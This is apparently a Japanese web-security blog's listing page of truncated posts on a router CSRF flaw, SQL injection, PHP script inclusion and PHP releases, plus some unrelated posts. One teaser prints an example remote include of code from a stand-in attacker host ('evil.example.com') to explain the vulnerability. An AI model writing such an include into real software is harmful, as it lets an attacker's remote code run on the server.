Computer
CSRFに脆弱なルータはWHR-G54Sだけではないはず
BaffaloのWHR-G54S http://buffalo.jp/products/catalog/item/w/whr-g54s/ にCSRF脆弱性とレポートされています。海外製品のレポートは見かけますが、日本製のSOHOルータのレポートは記憶にないです。よくある脆弱性なので日本製のレポートは初めてではないと思いますが、個人的には初物なので書きました。…
Core Grasp
遅ればせながらCore Graspのパッチを読みました。超ななめ読みなので勘違いしているかも知れません。間違っていたら教えてください。 一番興味があったのはSQLインジェクションの自動検出はどうなっているのかです。以下の関数がSQLインジェクションチェックに利用されています。 +int grasp_check_query(zval *z) +{ + char…
SET NAMESは禁止
MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。 Ruby on Rai…
意図が伝わってないのかな?
「なぜPHPアプリケーションにセキュリティホールが多いのか?」をテーマにした技術評論社のブログ風の記事を書いています。 一番新しい http://gihyo.jp/dev/serial/01/php-security/0008 ですが、自分で防いだつもりのセキュリティホールは実は防いだ事になっていなかった、アプリケーションが多く在りました。というより今でも作…
スクリプトインクルード問題の根本的解決策
スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。 デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり include('http://evil.example.com/attack.php'); の様なコードは実行できな…
MOPBの攻撃コードサンプルが削除される
ドイツで他人のコンピュータを攻撃するソフトウェアの公開などを禁止する法律が施行されたためMOPBの攻撃コードが削除されました。 (さらに…)
PHP 5.2.4
ご存知の方も多いと思いますがPHP 5.2.4のリリースが近いです。しばらく前にRC1が出ています。 http://qa.php.net/ どのWebアプリケーションもですがインフラとなるソフトウェアのバージョンアップをどう行うか定めておかなければなりません。オープンソースの場合、いつでもソースコードのリポジトリから開発版が利用できるので開発版を利用してアプ…
HTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの取り扱いバグ
b2evolutionをいい加減アップグレードしておかないと問題があっても困るのでアップグレードしました。HTTP_ACCEPT_CHARET/HTTP_ACCEPT_LANGUAGE処理の不具合がまだなおっていないようです... 日本語のように単語区切りがない言語(または正規表現の文字エンコーディング設定)の不具合も直っていないようです。 昨日から今日まで…
Mac miniがCore2Duoに
新iMacのアナウンスと同時にMac miniのCPUがCore2Duoになる事が明らかになったようです。 新モデルは「Core 2 Duo」を搭載した。599ドルモデルは1.83GHzの「Core 2 Duo T5600」を、799ドルモデルは2.0GHzの「Core 2 Duo T7200」を搭載している。 OSは10.5はファミリーパックで買うのでリリ…
IT技術者は高収入だが満足度が低い
イギリスはこの手の統計が好きなのか、私がたまたまイギリスのこの手の統計情報を見かけているのか収入と満足度の調査結果によると81種に分けた業種中、IT技術者は満足度が66位だそうです。以前に見かけた統計でも同じような結果でした。 収入の平均は4万ポンドを超えるそうなので日本円にすると964万円( http://quote.yahoo.co.jp/m5?a=40…